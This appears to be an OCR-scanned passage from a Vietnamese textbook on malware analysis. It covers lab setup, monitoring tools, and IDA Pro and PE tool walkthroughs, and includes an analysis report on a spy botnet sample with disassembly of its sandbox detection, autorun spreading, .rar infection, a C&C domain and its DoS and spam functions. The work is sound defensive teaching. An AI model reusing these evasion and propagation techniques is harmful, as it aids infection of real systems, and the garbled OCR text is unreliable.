Pé quan sat hanh vi ma doc hai nay doi hoi thiét 1ap moi truong thir
nghiém: st dung may 4o, sandbox, vitural PC dé cho ma doc hai chay.
Néu méi doc hai c6 co ché phat hién méi truong ao thi phai sir dung moi
truong that d3 duoc gi6i han (trong LAN) dé thir nghiém. Thiét 1ap mang
Internet, web, mail, cai dat cac hé théng ¢6 15i néu ma doc hai khai thac
16i tir 16i hé théng. Mbi truong thir nghiém cang day du, cang "that" thi
s€ quan sat dugc cang nhiéu dic diém cua ma doc hai. Néu xady dung
duoc hé théng may nhu may bi nhiém thi cang tdt.

Thiét 1ap cac cong cu giam sat: vi khong thé quan sat virus bang mat
nén trong moi truong thir nghiém can cd cac céng cu quan sat chuyén
dung nhu:

File monitor.

Registry monitor.

Process monitor.

Network monitor.

Céc tool phat hién rootkit.

Bo cong cu nay sé& giup chiing ta quan sat ma doc hai tét hon. Bit dau

chay ma ddc hai va quan sat cac thong tin :
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Khao sat processes xem c6 processes la nao dang ngd khong?

Khao sat cac modules dlls.... xem cd gin vao cac process hé thong

khong?

Khao sat registry xem co process ndao cung khai dong véi hé diéu hanh

c¢6 key ndo dugc sinh ra va bj stra doi khong?

Kiém tra MD5, CRC, SHA cac module (file) dang chay trén hé théng

xem co b1 ma ddc hai gén vao khong?

Khao sat céc file, cac thu muc an dé tim cac file nghi ngo.

Khao sat cac driver, tim rootkit 1am an tién trinh, 4n key.

Khao sat luu lugng mang xem co6 tang dot ngdt khong?

Kiém tra xem cac két n6i TCP/IP trén mdy.

Chay mi doc hai va ghi log, quan sat cang lau két qua cang chinh xAc.

Thong thuong mi doc hai sé& duoc quan sat cho dén khi ching khong
con hoat dong gi dang ké hodc hanh dong lap di lap lai. Viéc ghi log chu
yéu do cac cong cu monitor chuyén dung & trén thuc hién.
2.2.4.2 Phan tich ma dich ngugc (Static analysis)
Sau khi phan tich ma doc hai bang cach quan sat hanh vi ta s& thu duoc
mot sd thong tin, nhung nhu vay chua du, ta van can dich nguoc ma doc
hai dé xem chi tiét rd hon liéu m3 doc hai con lam gi nita va 1am vao
thoi diém nao.

Do ma ddc hai khi thu dugc 1a ¢ dang thuc thi khong c6 ma
nguén di kém theo dé phan tich nén thuong phai dich nguoc ma doc hai
d6 vé ma assembly dé phén tich. Thudng ¢ budc nay ta s& lam nhimg
viéc sau:

- Xem mi doc hai dugc viét bang ngdn ngir gi?

- €06 sir dung cac packer dé nén lai hay cac protector (chuong trinh

bao vé)nao khdng?

- Khi biét mi doc hai dugc pack bang trinh nao thi c6 thé dung trinh

do unpack ra, tuong tu cling unprotector file ma doc hai.

- Dung cac coéng phu phu hop véi céng cu viét md doc hai dé

decompile, disassemble, debugging...

- Poc va phan tich mi code assembly dé tim thém hoat dong ctia ma

doc hai.
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- Trace code , debug ma doc hai khi viéc dich nguoc t6 ra kho khan
hodc thiéu hiéu qua. Hoac khi can l1am thét rd mot doan ma nguoi ta
phai debug ma doc hai. Co nghia 12 s& 1an timg 1énh nho ctia ma doc
hai dé xem chinh x4c 13 ma doc hai dd lam nhiing gi. Ma doc hai
thuong co cac ki thuat chéng dich nguoc thi ciing s& co cac ky
thuant chdng debug (anti debug) va ngudi phan tich phai vuot qua
no (anti anti-debug).

3.2.4 Viét bao céo tong két hanh vi hoat dong ma doc
Sau khi phan tich xong miu ma ddc, nguoi phén tich can tong hop thanh
mot bdo cdo hanh vi hoat dong cia ma ddc. Dudi day 1a mdt bao cdo
tong hop lai két qua sau khi phan tich.
I. CONF4.exe
SHA256:1c09b262h940d22¢7f0b6956aee0949a640db66616bf70e4cdfob
1e7eae06828
SHA1L: fd24495048ce85e39174b0f9f6fc5597137b84d5
MD5: ceea769e2b3dfc45ce8f0075541a5939
File size: 112.7 KB( 115376 bytes)
File name: conf4.exe
File type: WIin32EXE
Code bang Borland Delphi( 2.0-7.0) va VisualC++ 6.0
I1. Théng tin chung

- File 1a mdt Spy Bot Net da bi 22/44 trinh di€t virus phat hién theo
virus total xac dinh.
1. Céc hoat dong cu thé.

Kiém tra cac chuong trinh thyuc hi¢n viéc phan tich nhu wireshark,... va

ham kiém tra sandbox, vmware...

BV IVIowR pweary

Ltext:004049¢C3 lea eax, [ebp+pcbBuffer)
.text:004049C6 push edi

.text:004049¢7 push eax ; pcbBuffer
.text:004049¢8 lea eax, [ebp+Str)

Ltext:004049¢CE mov [ebp+var_14], offset aSandbox
Ltext: 00404905 push eax | TpBuffer
.text: 00404906 mov [ebpsvar_10], offset aHoney ;
.text: 0040490 moV [ebpsvar_C], offset avmware
.text: 00404964 moV [ebpsvar_8), offset aCurrentuser
Ltext:004049¢8 mov [ebp+pcbBuffer], 80h
Ltext:004049¢2 call ds:GetuserNameA

Hinh 3-20: Kiém tra mdi trudng phén tich
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Thuc hién viéc dang ki, tao thread tu dong copy file, dung cac API
CopyFileA copy file virus sang, tao méi céc file desktop.ini dang ki cac
khoa autorun:

ica CAA, |CUPTraLiinamec |

push eax ; IpStringl

call esi ; IstrcatA

lea eax, [ebp+PathName]

push offset aAutorun_inf ; "\\autorun,inf"
push eax  IpStringl

call esi : IstrcatA

lea eax, [ebp+PathName]

push 80h ; dwFileAttributes
push eax ; IpFileName

call ebx ; SetFileAttributesA

xor esi, esi

lea eax, [ebp+PathName]

push esi : hTemplateFile

push 7 ; dwrlagsAndAttributes
push 2 ; dwCreationDisposition
push esi ; IpSecurityAttributes
push esi ; dwShareMode

push 40000000h ; dwDesiredAccess

push eax : 1pFileName

call ds:CreateFileA

mov edi, eax

Hinh 3-21: Tao autorun

Tao cac thread v6i ham chinh cua Bot, dé duy tri nhan 1&€nh bot tir xa tir
C&C server: New.gov.me.

Cac chirc ning ctia Bot tim thay:

- Ty huy

- X0a Registry key

- Tu tao file.bat remove cac file

- Download céc file tu cap nhat

- Lay lan file crack.exe vao tat ca cac file. rar trén may.
SETLUrTPENTUIrecTtoryaAl .. J;

}

else
if ( GetFullPathNameA(FindFileData.cFileName, 0x104u, &String, &FilePart) )
CharLowerA(&String);
v2 = IstrlenA(&5tring);
if ( !memcmp(&/3[v2], "rar", 3u) )
Sleep(0x1388u);

sub_406032(&v6, 7, 1); o o
sub_405C39(&string, NumberOfBytesWritten, "+éUyE+PapP", 128):// +8UyE+PaP = crack.exe

Hinh 3-22: Lay lan file crack vao cac file .rar
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- Spam email ( gui file zip ), Spam ldy thong tin cac loai tai khoan
yahoo, MSN, Spype

- Pua file 1y nhiém vao mang P2P torrent
FULLEU

102280

402280

102280 Toc_402280: ; CODE XREF: CaseChucNang+7DBTj
402280 push dword ptr [esi] ; lpsString?

102282 push offset apP2p

402287 call edi STrCmpiA

102289 test eax, eax

Hinh 3-23: Lay nhiém vao mang P2P torrent

- Tén coéng Dos cac muc tiéu chi dinh ( syn flood)

- Tim gid ma hé théng bao vé Pstore cia Windows

3.2.5 Xir ly mau ma déc
Tim signature cia ma doc hai va phuong phép diét ma ddc hai
Trong budc nay thyc hién:
* Tim dic diém nhan dién ma doc hai trong hé théng sau khi phan tich
(vi du tai offset nao d6 chira chudi string nao, hoic gia tri MDS5 cua
file...).
«Pé ra cac phuong 4n khic phuc hé théng bi nhiém ma doc hai.
« Tim phuong an diét nd, néu nam dugc hanh vi ciia n6 c6 thé ty viét cac

script x6a ma doc hai do trong hé théng.

3.3 Cau héi va bai tap
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Chuong 4
CAC KY THUAT PHAN TiCH TiNH

Trong cac chuong trudc gido trinh da trinh bay quy trinh phan tich ma
doc, trong quy trinh phan tich c6 mé ta cac phuong phap sir dung dé
phan tich md. Chuong 4 nay s& giup sinh vién hiéu rd hon phuong phap
phan tich tinh. Trudc khi phan tich thi sinh vién can cach xay dung moi
trudng ho tro cong viée phan tich.

4.1 Xay dung méi trweong phan tich tinh

Xay dung moi1 truong phan tich ma doc la cong vi¢c quan trong. Nhu
da biét ma doc ludn tiém an cac hanh vi nghi ngd va rat dé 1ay lan. Viéc
xay dung moi trudng phan tich ma phu hop va an toan 13 viéc can thiét.
Pé tao ra dugc moi truong an toan trong khi phan tich ma doc hai, trong
phuong phép phan tich tinh dé phan tich ma doc hai ngudi ta dung 2
cach:

- Xay dyng mdi truong do dé phan tich ma doc.
- Xay dung méi truong that dé phan tich ma doc.
4.1.1 Xay dwng moi trwong ao.

Viéc xay dung moi truong ao dam bao cho cac loai ma doc hai khong
pha hoai dugc hé thong may tinh that. Cac phan mém dé xay dung moi
truong 4o nhu Vmware workstation, virtualbox.... O day s& lua chon xay
dung moi truong phan tich véi VM workstation.

Phuong an xay dung nhu sau:

- Mot may tinh that cai Windows 7

- Trén Win 7 cai dat mot may 4o Vmware, trong may 4o cai dat
Windows XP( méi trudng dé chay malware va thuc hién phan tich).

- Cai dat mang phu hop véi viée phan tich.

- Cai céc tool can thiét phuc vu viéc phan tich

Thuc hién viéc cai dat Vmware sao cho memory ( 515 mb) va Hard
Disk ( 10Gb), sau khi thuc hi¢n cai dat xong, tuy thudc vao tung loai ma

ddc hai dé cai cau hinh mang.
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Hardware | Options

Device Summary

Device status

= C ted

4 Memory 512 MB [ Connec

& Processars 1 Connect at power on

(e Hard Disk (SCSI) 4GB )

(=) co/ovo (1oE) Auto detect Network connection

El Floppy Auto detect (7 Bridged: Connected directly to the physical netwark
F&Network Adapter Host-only Replicate physical network connection state

?SSB (;ocnh'odller irets;;tte + () NAT: Used to share the host's IP address
| Soun art L eTec _
EDispIay Auto detect (@) Host-only: A private network shared with the host

() Custom: Specific virtual network

VMnet1 (Host-only)

)

Help

Hinh 4-1: Chon cdu hinh mang

Sau khi cai dat xong, Vmware s€ tao nén 2 card mang Vmware 1 va

Vmware 8 trén may that va may that co thé str dung 2 card mang nay dé
két ndi v6i cac may ao. khi lua chon ciu hinh mang cho may 4o ta co thé
chon mot trong céc ché do sau:

Bridged networking: Card mang ctia may 4o s& duoc gan truc tiép véi
card mang ciia may that (st dung switch 40 VMnet0). Luc nay, may ao
s€ dong vai tro nhu mdt may trong mang that, co thé nhan DHCP tir
mang ngoai, hodc dat IP tinh cung dai véi mang ngoai dé giao tiép voil
cac may ngoai mang hodc 1én Internet.

NAT: May 4o dugc cau hinh NAT sé& sir dung IP ctia may that dé giao
tiép v6i mang ngoai. Cac may ao duoc cap dia chi IP nho mot DHCP ao
ciia VMware. Luc ndy, cic may 4o s& két ndi v6i may that qua switch o
VMnet8, va may that s€ dong vai tro NAT server cho cdc may 4o.

Host-only Networking: Khi cdu hinh may 4o st dung host-only
networking, may ao s& duoc két ndi voi may that trong mot mang riéng
thong qua Switch 40 VMnetl. Dia chi cua may do va may that trong
mang host-only ¢ thé dugc cdp béi  DHCP 4o gin lién voi Switch ao
Vmnetl hodc c6 thé dit dja chi IP tinh cung dai dé két nbi v4i nhau. Ta

s& chi yéu dung loai nay dé cau hinh khi phén tich
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Host-Only Networking

Virtual
Ethemet
adapter

Virtual machine m DHCP server

Virtal Frthemet switch
1VMnetl;

Haost virtual
adapter

Hinh 4-2: Host- only Networking
Sau khi cdu hinh mang xong, ta nén tao take snapshot lai mot bang sach.
Snapshot gip chung ta restore lai trang thai lam viéc mdi nhat. Dé sau
mdi 1an phan tich ta lai c6 1 mot may méi ma khong can phai di cai lai.
Ta chi can véao snapshot, chay lai snapshot sach ban d4u khi ma chua cho

bat ki vao phan tich.

.a ‘Windows XP Professional - Snapshot Manager u

| _
| a-8-a+a] |

Windows XP  bandau
Professional

Snapshot details

Name: Take Snapshot. ..
Description: -
Mo screenshot Keep
available
Clone...
- Delete
Go To AutoProtect... ] [ Close ] [ Help ]

(@) [[]show AutoProtect snapshots

2 snapshot(s)

Hinh 4-3: Tao snapshot
Sau khi cai xong Vmware, ta cai hé diéu hanh Xp lén do, cai dat cac
cong cu 1én dé giam sat su thay ddi va tac dong cua cac chuong trinh nén
hé théng dang thyc thi.
Mot s6 cong cu can thiét cho moi trudng phén tich tinh nhu sau:
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4.1.1 Cbng cu Peid

La cong cu phat hién xem file dugc viét bang ngdn ngit gi. Ngoai ra
day 1a mot cong cu can thiét xem file co bi nén (pack) hay khong? Néu
bi nén (pack) thi ngudi phan tich can phai tim cach giai nén (unpack
file) phu hop.

1 B4 PED v0.95 - = L5
Filz: | C:\baitap\CrackMeKeyLogl.exe III
Entrypoint: [0004C748 EP Section: [CODE ﬂ
File Offset: |0004BE48 First Bytes: [55,88,EC,83 ﬂ
Linker Info: [2,25 Subsystem: [Win32 GUI ﬂ

Borland Delphi 6.0 - 7.0

Multi Scan Task Viewer | Options | About | Exit |
[ Stay on top ﬂ ﬂ

Hinh 4-4: Phan mém Peid
Nhu trong hinh ¢ thé thidy chwong trinh Peid da nhan ra ma ngudn
chuong trinh Keylogl.exe viét bang Borland Delphi 6.0-7.0
4.1.2 Dependency Walker
http://www.dependencywalker.com/

La mot cong cu dé tim cac file DIl va ham import ctia ma ddc hai.
Chuong trinh dugc stir dung trén ca x86, x64 duoc xay dung theo médt so
dd phan cap cia tat ca cac file DIl s& dugc nap vao bd nhé khi phan mém
doc hai dugc chay.
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http://www.dependencywalker.com/

" Dependency Walker - [Dumped]

B File Edit Wiew Options Profile  Window  Help - 8 X

B R o e Sy ESREDONR
- [ DUMPED.EXE s | P Ordinal Hint Function ”
- B KERMEL3Z.DLL | B |mya 106 (0x0064) | _ dlone:t >
- B SHELL3Z.DLL 0 | nia 182 (0x00B6) | _adjust_Fdiv
=[] MSWCRT.DLL B3 | s 237 (0x00ED) | _except_handlers
+- & kernELzz | B | RUA 280 {0x0118) | Ftol
®] MTDLL.DLL B |nia 315 (0x0138) | _initterm %
%] NTOLL.OLL < | *
A| GDI3ZDLL E_ | Ordinal~ | Hint Function ~
8l USER3Z.DLL 100001} | 1 (0x0001) | #70__non_rtti_object@@QAE@ABYD@E, —
+ ﬂ KERMELZZ.DLL o 2(0x0002) | 2(0x0002) | 770__non_rtti_objsct@@QAE@PED@Z  +
< [IE T €3 | >
~ | Module File: Tirne Stamp | Lirk Time: Stamp | File: Size | Aktr. | Link Checksum | Real Checksum
3@ M3IAWA.DLL Error opening file, The system cannot find the file specified (2). —
B |ADVAPI3ZDLL |08f04/2004 3:56p | 05/04/2004 2:56p | 616,960 A 0x000A0DE4 | 0x000A0DE4
B |CoMDLGIZ.DLL |08/04/2004 3:56p | 05/04/2004 2:56p | 276,992 | A 0x0004E10F DxEIDIZI4BlDF .
L —_———— e e - — e e - - —— - - - - mmmimmmm e e im e e —
< | >

Hinh 4-5: Dependency Walker
La cong cu st dung thuc hién viéc unpack, sau khi dump debugged
process ta s& co 1 file (.exe),ngudi phan tich can phai sir dung cong cu

nay dé fix lai bang IAT bang tay hodc tu dong fix.

# Jmport RECenstructor v1.6 FIMAL (C) 2001-2003 MackT/uCF
Attach to an Active Process

| c:\documents and sethngs‘\admirestratolhvdesklophnotepad_asp exe [0000089C) ;I Pick DLL

Irnpodt ed Furchon s Found

+ advapi2 dil FThunk-D00062E 0 NbFunc:5 [decimal 5] valid YES Show Invalid
# gdi32, dil FT hunk: 000062F8 MBFunc:17 [decimal 23] wabd Y ES
U8 7 FT hunk: 00006358 NbFunc: 25 [decimal: 37) validNO Show Suspect
+- 7 FThunk: 00006 3F0 NbFunc: B [decimat 5] validNO
+ 7 FThunk:0000640C MbFunc: 2C [decimal&0) valid MO
+ 7 FThunk: 00006500 NbFunc: 7 (decimat 7) valid NO
Clear Imports
Log
IAT read succe sy ~
Curentimpote Clear Log
2 [decimal. 2] valid mndulc[sl [added +2 [decimal+Z])
[decirnal 110
IAT Infos needed Mew Import | nfos | ID+ASCII+L OADE R) Options

OEP |DL'IDEI'I nCC IAT AutoSearch v | 0000000 Size |D0DD0Z4E

Rl |DEII'.'ID$2DC Size | 00000244 v Add rew section
Hinh 4-6 ImportREC

1
e

4.1.3 Cong cu PE
Pay 1a cong cu co ddy du chic nang dé lam viéc voi file PE/PE+( 64
bit). Bao gdm Task Viewer( dump full, process dump...), PE Sniffer(tim

trinh bién dich, packer..) , PE Editor( xem va chinh stra cdc bang import
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export, sira CRC...), PE Rebuilder( Thay d6i dja chi co s¢ PE ciia mot
tap tin..)

EN PE Tools v1.5 Xmas Edition - by NEOx/[uinC], http:/Awww.uin... [= |[B][E]
File Tools PlugIns ©Options Help

@ & R = E @

Fath PIC Image Base Image Size s
B docume~ L admini-- 1 locals~—11itempirarg. .. 000004FS Q0400000 Q0OCEQOO
Oc:'l,program Fileswinrariwinrar.exe 00O0007E4 Q0400000 a01z0000
-c:'l,dcn:uments and settingshadminisktratoride. .. 00000265 Q0400000 Q01ES000
l'1'@l::'I,n:h:n:l\_ln'uE:nl:s and settingshadminisktratoride, .. 00000&2C Q0400000 QOO 1EQOD B

Fath Image Base Image Size s

Sdocuments and settingshadministratorydeskiopipetoolsh, .. 00400000 QOoO<4EQDD

.ﬂ chwindowsh swskem 32\ nedllL dil FC”900000 [ulaln]Slulalulu}

.:;J ciwindowssystem 32 kernel3z . dil FCS00000 QOOF4000

.i;] ciwindowsiwinsxsy 86 _microsoft, windows . cormon-conkr,.. 77300000 Q0102000

Iﬂ ciwindowsh system3z2mswerk. dil FFC10000 Oo0SS000
.iaj cwindowssyskem 32\ adwyapizz. dil FFDDOOo0 uinlni=1= nlnln} s

Processes loaded: 29 SoftICE is nok loaded

Hinh 4-7 PE Tools
4.1.4 Cong cu HexEditor
Hex Editor 12 bo hoan chinh cac cong cu phat trién hé thap luc phan
cho Microsoft windows. N6 tich hop tién tién chinh stra va giai thich di
li¢u nhi phén, v61 cach nhin tryc quan, xur 1i linh hoat mot tién trinh. Voi

hex editor ngudi phan tich c6 thé chinh stra, cat, sao chép, dan, chén, x6a

dir 1iéu nhi phan.
7 Free Hox Editor e

File Edit View Select Operations Bookmarks MNTFS Streams Tools  History  Window  Help

ER=RM=1=1% 1) A& PR ¥ (|- 7 = -7

AP FDumped.exe X Selection o x
e |[2)

ooopopgz | 00 01 02 03 04 0OS 06 07 08 09 Oz Ob Oc Od Oe OFf
00003470 e5 54 c2 0Oc 00 81 0l 00 00 83 3d 40 Sé 40 21A.. i....f=@VE [ Information ]
00003480 | 00 ££ 53 56 57 55 6a 30 al 00 S0 40 00 ££  .§SVWOu'3j0;.PE.% Total Size Mo selection  bytes
00003490 | k4 24 1c 01 00 00 40 50 40 00 £f 35 64 50 “5....YSEPE.F54P Fragments No selection
000034a0 | 40 00 50 e8 35 ef 33 e0 &9 Se 02 00 00 al  @.Pesiggshe~...;

000034b0 | £0 55 40 00 33 db 15 d4 64 40 00 6a 02 al SUR.3TP7.04R.7.; [ — ]
000034c0 | 40 56 40 00 53 50 6c €3 40 00 &b £8 53 53  @VE.SP¥#.lc@.<e=SS

000034d0 | al 40 56 40 00 50 6c 63 40 00 [ @VE.PY.1c@. F¥F

000034e0 | 00 00 Of 8 e3 01 6a 42 &d 47 vew £...1B G.E¥S

000034£0 | 44 56 40 00 ££ 15 40 00 a3 44 56 40 00 3b  DVE.¥.Hc@.£DVE.;

00003500 | 3 0f &4 ca 01 00 al 04 50 40 00 53 8b 35 A.,E...5{.PE.5¢5

00003510 | 48 64 40 00 &2 bl 00 50 ££ 46 53 53 &2 b7 2d4@.hx...PF0SSh-

00003520 | 00 00 00 ££ 35 04 00 ££ dé al 44 56 40 00 ... ¥5.P@.¥0;DVR.

00003530 | 50 ££ 15 a0 63 40 e8 57 55 al 40 56 40 00  P¥. c@.<&WU;EVE. |
00003540 | 50 ££ 15 e4d &3 40 40 56 40 00 50 ££ 15 78  P¥.EclR. EVE.P¥.x |
00003550 | 63 40 00 8b  c5 &85 De 8b cf 80 38 00 75 03 cR.<R_jr.cI€8.u. |
00003560 | c6 00 20 40 43 75 04 2f 00 85 f£f 74 48 55 E. RIudE./. FtHU _ |
1 [ T = |

Ready Offset: 000000092 (146) Size: 0x0001e000 (122,880): 120,00 KB Hex bytes, 16, Default AMNSI OVR

Hinh 4-8 HexEditor
4.1.5 IDA pro
4.1.5.1 Gigi thi¢u chung:
IDA Pro 1a cong cu dugc st dung rong rdi nhit dé phan tich phan mém

doc hai. IDA pro gitp dich nguoc cac ma doc hai vé cac doan ma
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assembly. N6 1a mot cong cu dé doc, truc quan va tién dung véi nhiéu
chtrc nang nhung cling chinh vi vady ma viéc str dung IDA Pro cling kha
phtec tap. di kém vé6i IDA ta c6 thé cai dit thém nhiéu plugin nhu Bindiff,
Hex-Rays Decompiler. Py 14 hai plugin hd trg dic luc cho IDA gilp so
sanh cac bién thé cua phr:in mém doc hai, xac dinh cac chic nang maoi

trong bién thé d6 va cho biét néu co6 bit ky chirc ning twong tu bi mét di.

T4 IDA - C:,IDA'REVERSING' putty.exe - 101 x|
File Edit Jump Search Wiew Debugger Options Windows Help
(> W EBERDm Dk B x| = s|@]EF] 8 B Thre _(of ]
D& View-ESP 1D View-EIP | @ Threadsl . General registersl Edit  Search
| Thread I
Debugger: Library loaded: C:iWWINNTHSystem2z2%NTOLL.OLL -
Debugger: Library loaded: C:WWINNTSSwstem2zhaDvarI2z.dl] @DDDDDBSD
Debugger: Library loaded: CiWWIMNTWSyStem3z2%KERMELIZ2.DLL = il
[aw: idie |pawn  Disk: 1036E 00031219 [00431219: WinMain(x, x,x,504+35 ltine 1 of 1 4
= oI x|
* .text:88431287 call ds:InitCommonControls | * BO12FF30 war_4 dd 65h i’
* .text:8843120D0 call sub_4388Aa1 = E" 8812FF34 dd ; Stack[ eesas
* _text:88431212 call sub_437687 * @A012FF38 retaddr dd ; sta
* _text:088431217 test eax, eax * BB12FF2C hInstance dd offset unk_488
EIP =23 * 0812FF40 hHenu dd 8
* .text:0843121B push ds:1pSteax=08000081 * 0B12FF44 uIDEvent dd offset unk_132D
* .text:88431221 push offset aSFatalError * B012FF48 nCmdShow dd Bah
* .text:88431226 call sub_4B86B 86 B812FF48 ; [END OF STACK FRAME _MinH
* .text:08043122B pop eCcx * B812FF4c dd ; Stack_PAGE_
* .text:8043122C mov esi, eax * B812FF58 dd 2@8h
* .text:080843122E pop ecx * B012FF54 dd A
* .text:0843122F push 38h 4 | 3
* .text:88431231 push esi =
* _text:00431232 push  offset Text =10l x|
* .text:88431237 push 8 Exx[poo0ae01| L, cF gl
* .text:88431239 call ds:MessageBoxA RN ?FFDFl]l]I]|L. . PF?
* .text:8043123F push  esi debug@13:7FFDF 800 i
* .text:00431248 call sub_486E7E EC /00880065 L. AF|9)
i -E‘“‘Fggﬁg:g:z SEER EDK[77FD 0170/ Ly [NTDLL .DLL : 77FD 0170 zF o)
.text: pus o
* _text:Dp0431248 pop eax Esl |0060006| L, SF19
* .text:00431249 jmp loc_43204E EDI |8812D9CY| Ly [Stack PAGE GUARD[ BApoo3s |TF 8
o EEEAERILIIAIRALE & = EBP[0012FF34) Ly [stack] D0000350] : 0012FF34 |IF [1
-text: QON3124E EsP[e812FF34/ L : oF[8
.text:8043124E loc_43124E: Stack[ 88080358] : 8812FF34  (UFIE
*+* _text:0843124E mov eax, dword_45A1CYH SI||EIP (88421219 Ly |yinHain(x,x,x,%)+35 OF |8
1| | j EFL |BBB80A2 B6

Hinh 4-9: IDA pro

Co nhirng loai ma ddc hai khong debug hay phan tich dugc binh thuong
ma phai sir dung cac chuong trinh Decomplier danh rién cho ching. Vi
vay ta s€ cai dat thém mot sb cong cu phuc vu cho viéc phan tich nhu sau.
4.1.5.2 Cac chirc ndng co bdn
Sau khi nguoi phan tich dua mot file can phan tich vao, chuong trinh s&
hién 1€n mdt hop thoai bén trong d6 c6 chtra dinh dang file va chon
PE( pe.ldw) dé 1am viéc. Trong Option 1a cac tiy chon dé cho IDA tu
phan tich file vao cho ra hién thi & cira s6 chinh. Sau dé6 nhan OK dé vao
giao dién chinh dé 1am viéc.

Giao di¢n 1a viéc cua IDA gom cé 7 ctra so:
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(:, IDA - C:\Users\linh\Desktop\Cruehead CrackMe's\CRACKME3. it

File Edit Jump Search View Debugger Options Windows Help

G - WABB |-

RETYRd: 2N 8T RE

B Sl - s NX B wSHKm- ] s Wh|ZAVAS

Bfe FRE | FAR

.. il 2 (Y

‘E] Functions window [=][=] |@ DA Viewd “ﬁ‘ Hex View |‘§'E Structures |@En Enums |‘§'$ Imparts |‘§‘§3 Exports‘ 3
5 HLLymENL . uETduLL
Function name it
¥t .686p
Yo whdFroc «MmR
"ﬂDia\ogFunc 7 .nodel flat
¥ sub_ 401275
h?
\@sub_dmm ; Segment type: Pure code
\ﬂsubJDISSE H ; Segnent pernissions: Read/Execute 4
1F ub_401346 CODE segment para public 'CODE' use32
Y5 sub 401362 assune cs:CODE
Y9 Loadicond ;0¢g 461000
1 MessageBox assume es:nothing, ss:nothing, ds:CODE, fs:mothing, gs:nothing
"ﬂ LoadCursord Graph overview @
"ﬂﬂegi:lelEla:sA
h? ;
‘@Pn:lﬂullMessage public start
‘ﬂTlamlateMessage start proc near
15| ShowWindow 5 push 0 ; lpHoduleNane
"@Updale\\finduw call  GettioduleHandleA
"@CleaIeWindquxA nov ds:hInstance, eax
"ﬂDerwindomecA nov ds:duord_4020F9, 0
S NialnaRneParamb 2 push @ ; hfemplatefile
4 n b push  B6h ; duFlagsAndattributes
)l 00000600 00401000: start
(utput winclow
Rays.X86,DECOMPT I€r. V1, 5, READ, NFO-RDW\10261\P 1UQ1NS\PyTNON. PIW) €rror: Tne SpeciTied moaule could not De Tound.
C:\Users\Tinh\Desktop\Hex-Rays IDA Pro Advanced 6.1 Full + Hex-Rays 1.5 + SDK + FLAIR + IDS Util + addons'\Hex-Rays. IDA,Pro. Advanced. vé. 1. Windows. incl. Hex-Rays. x86.Decompiler, vi.5.READ. NFO-F
\idaé1\plugins\python. plw: can't Toad file
Can not set debug privilege: Not all privileges or groups referenced are assigned to the caller.
Using FLIRT signature: SEH for vc7/8 6
Propagating type information...
Function argument information has been propagated
The initial autoanalysis has been finished.

g
Albide  Down Disk16B

Hinh 4-10 Giao dién lam viéc IDA pro

(1) Toobar chira cac thanh cong cu sir dung trong hoat dong ctia IDA,
dé thyc hién cac chtrc nang ta nhap vao cac biéu twong trén do.

(2) Navigation band noi c6 thé vao va ra khoi dia chi bang cach nhap
chuot di chuyén bang cach diéu chinh theo huéng miii tén mau vang.
MJdi mau séc cua ctra s6 thé hién vung dir li¢u ma ta lam viéc.

(3) Tabs co chira ctra s6 nho nhimg thong tin chi tiét vé file ddi tuong,
viéc phén tich phu thudc vao nhitng tabs ndy. Gom c6 IDA View-A,
Hex View-A, Struct, Enums, Imports,Exports, String.

(4)Disassembly hién thi dir liéu dé phan tich theo 2 loai text hodc
graph

(5)Graph overview mot do thi thu nhd mé ta cau triic co ban cua dit liéu.
Man hinh chit nhat chAm nhé cho théy man hinh hién thi vi tri hién tai

dang lam viéc.
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(6) Output window nhan duoc cac thong tin, tin nhan tir IDA sau khi
load file xong.

(7) Function window ddy 1a cira s6 hién thi tit ca cac ham API céac dia
chi tim thay trong qu4 trinh phan tich.

IDA Text view man hinh hién thi kiéu text trinh bay toan bo vé cong
viéc disassembler cling nhu cung cép dia chi dé xem cac dix liéu thude
vung nao.

B2 E 108 viewh R stuctues [ En Eruns (T8 npots 15212 Expars 5213 0 Views |

CODE: JCODE XREF: DialogFunc+3A}j
CODE: ;fdialogFunc+y1}j

CODE:

CODE:

CODE:

1 |cooe:
CODE:
CODE:
CODE:
CODE: 60481204 oc_481204:
CODE: 60461204
CODE: 60481208
CODE: 66481200

; 1alogrunc+ET]
cp [ebp+arg 8], 3F2h 5
jnz short loc 4812EE

CODE: 604812DD)1oc_48120D: ; [CODE XREF: DialogFunc+14t]
CODE: BA4812DD push @ s InResult
CODE: 684812DF push  [ebp+hDlg] ;|hdlg
CODE: 684612E2 call  Endbialog
CODE : B04812E7 mov eax, 1
CODE: 664612EC jmp short loc_4B12CD
CODE: 684612EE) ;
CODE : 664612EE
:BB!HHEEE loc_4B12EE: ;JCODE SREF: DialogFunc+291]

]
00000800 00401200: DialogFunc+1E

Hinh 4-11: Cira s6 IDA view

1) Céc mili tén thé hién noi nhay dén trong khdi doan ma va nhan

ra cac vong lap nho.

(2) Hién ra cac dia chi Virtual Address

(3) Céc vi tri duoc so sanh dé danh ddu nhay hodc cac bién tham
chiéu trong stack

4) Code cua chuong trinh disassembled

(5) Code tham chiéu hién thi cac diém dén khi truy cép, nhap dup
vao s& dua ta dén doan mi, hodc ham duoc go1 hodc nhay 1én phia trén.
Hodc dé nhay dén vi tri tham chiéu khéac ta nhap chudt phai->jump to
cross reference.
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Fucntion Window hién thi cac ham duogc nhan dinh béi IDA

b

¢ Funchons wandow
Funchon name Segment Start length R F L S T
[(9) sub_4020€8 CODE 00402068  000OD1ED R B
i) oub_402278 CODE 00402278 0OOO01AZ R B
i aub_40241C CODE 0040241C  OO0OOIDA R

Hinh 4-12: Cira s6 Function

Bang cach nhip chudt hodc enter 14 ta ¢6 thé di chuyén dc dén ham d6
trong ctra s6 chinh disassembly. Ta nhin thdy bén trong function window
gom co function name, segment, start, length, R( return ham tra vé khi
g0i),F ( far),L (libarary), S (static), B( BP tham chiéu dén bién cuc bd),T
( type thdng tin).

String Window tai ctra s6 nay hién thi ra thong tin tit ca cac chudi xuét
hién trong file thuc thi. Ctra s6 nay hién thi chi tiét vé dia chi, do dai,
kiéu, tén chudi d6 1a gi. Ta c6 thé truy cap dén cac chudi ndy bang cach
nhan dup chudt nd s& di chuyén dén cira s6 Disassembly dé chung ta
thuc hién.

Import window citra s6 hién thi chi tiét dia chi, tén ham duoc import va
thu vién chira ham import 6. DAy 13 mét cira s6 rat quan trong boi ta co
thé thay duoc chuong trinh sit dung cac DLL khac nhau va chic ning
ciia cac ham duoc goi nhu doc, viét hodc registry .... Tai day ta c6 thé
thap dugc cac thong tin vé cac ham import ma mé doc hai hay dung dé

cheén vao vé1 muc dich xau nhu lay cap thong tin, theo doi ...

